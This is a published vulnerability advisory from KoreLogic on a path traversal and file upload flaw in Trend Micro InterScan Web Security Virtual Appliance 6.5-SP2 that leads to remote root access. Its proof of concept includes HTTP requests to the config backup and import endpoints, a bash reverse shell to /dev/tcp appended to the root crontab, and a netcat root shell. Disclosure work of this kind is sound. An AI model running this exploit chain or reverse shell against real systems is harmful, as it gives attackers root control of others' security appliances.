Trendmicro InterScan 6.5-SP2_Build_Linux_1548 Remote Root

`KL-001-2017-003 : Trendmicro InterScan Remote Root Access Vulnerability  
  
Title: Trendmicro InterScan Remote Root Access Vulnerability  
Advisory ID: KL-001-2017-003  
Publication Date: 2017.02.15  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Trendmicro  
Affected Product: InterScan Web Security Virtual Appliance  
Affected Version: OS Version 3.5.1321.el6.x86_64; Application  
Version 6.5-SP2_Build_Linux_1548  
Platform: Embedded Linux  
CWE Classification: CWE-22: Improper Limitation of a Pathname to  
a Restricted Directory ('Path Traversal'),  
CWE-434: Unrestricted Upload of File with  
Dangerous Type  
Impact: Root Access  
Attack vector: HTTP  
  
2. Vulnerability Description  
  
Any authenticated user can overwrite specific files on the  
local system, which can be exploited to result in root access.  
  
3. Technical Description  
  
An attacker can use a HTTP POST request to instruct the  
management application to backup the current appliance  
configuration into a tarball. A valid session is required.  
  
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1  
Host: 1.3.3.7:8443  
[snip]  
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Content-Disposition: attachment; filename="IWSVA6.5-SP2_Config.tar"  
[snip]  
  
Extracting the tar file gives you several files, detailed below:  
  
$ tar xf IWSVA6.5-SP2_Config.tar  
x Configurations/  
x Configurations/icaps.pkey  
x Configurations/ClientConnectionQuotaWhiteList.ini  
x Configurations/IWSSPINcieScan.dsc  
[snip]  
$ cd Configurations/  
$ ls -la shadow passwd crontab.iscan crontab.root S55sshd S99lanbypass  
prd.passwd iscan root  
-rwxr-xr-x@ 1 level staff 4683 25 oct 05:32 S55sshd  
-rwxr-xr-x@ 1 level staff 13553 25 oct 05:32 S99lanbypass  
-rw-r-----@ 1 level staff 1738 25 oct 05:32 crontab.iscan  
-rw-r-----@ 1 level staff 416 25 oct 05:32 crontab.root  
-rw-r--r--@ 1 level staff 693 25 oct 05:32 passwd  
-rw-r-----@ 1 level staff 44 25 oct 05:32 prd.passwd  
---------- 1 level staff 427 25 oct 05:32 shadow  
-rw-------@ 1 level staff 1796 25 oct 05:50 iscan  
-rw-------@ 1 level staff 467 25 oct 05:32 root  
  
The file content presents several attack scenarios:  
  
Obtain hashes for all accounts  
Poison shadow file with known hash  
Poison cron with a bash shell  
Poison scripts executed at boot  
Directory traversal with web shell  
  
The file, root, contains cron entries which are ran by the root user  
at boot. A bash reverse shell was appended to this file and a new tar  
file containing the poisoned file was created.  
  
$ head -n 1 root  
0-59/2 * * * * /usr/iwss/bin/systemupdate > /dev/null 2>&1  
$ echo */2 * * * * /bin/bash -i >& /dev/tcp/1.3.3.8/8086 0>&1 >> root  
$ cd ..; tar cf hacked.tar Configurations/ ProductInfo.xml  
  
POST  
/servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=import&packageName=/usr/iwss/AdminUI/tomcat/import/hacked.tar&type=1  
HTTP/1.1  
Host: 1.3.3.7:8443  
[snip]  
  
HTTP/1.1 302 Found  
Server: Apache-Coyote/1.1  
[snip]  
  
This resulted in a netcat shell as the root user.  
  
$ nc -lv 8086  
[root@iwsva65sp2 ~]# id;uname -a  
uid=0(root) gid=0(root) groups=0(root)  
Linux iwsva65sp2 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23  
15:08:35 CST 2014 x86_64 x86_64 x86_64 GNU/Linux  
[root@iwsva65sp2 ~]#  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has issued a patch for this vulnerability in Version  
6.5 CP 1737. Security advisory and link to the patched version  
available at:  
  
https://success.trendmicro.com/solution/1116672  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2016.12.12 - KoreLogic sends vulnerability report and PoC to  
Trendmicro.  
2016.12.15 - Trendmicro acknowledges receipt of report.  
2017.01.11 - Trendmicro informs KoreLogic that the patch to  
this and other KoreLogic reported issues will  
likely be available after the 45 business day  
deadline (2017.02.16).  
2017.02.06 - Trendmicro informs KoreLogic that the patched  
version will be available by 2017.02.14.  
2017.02.14 - Trendmicro security advisory released.  
2017.02.15 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2017  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
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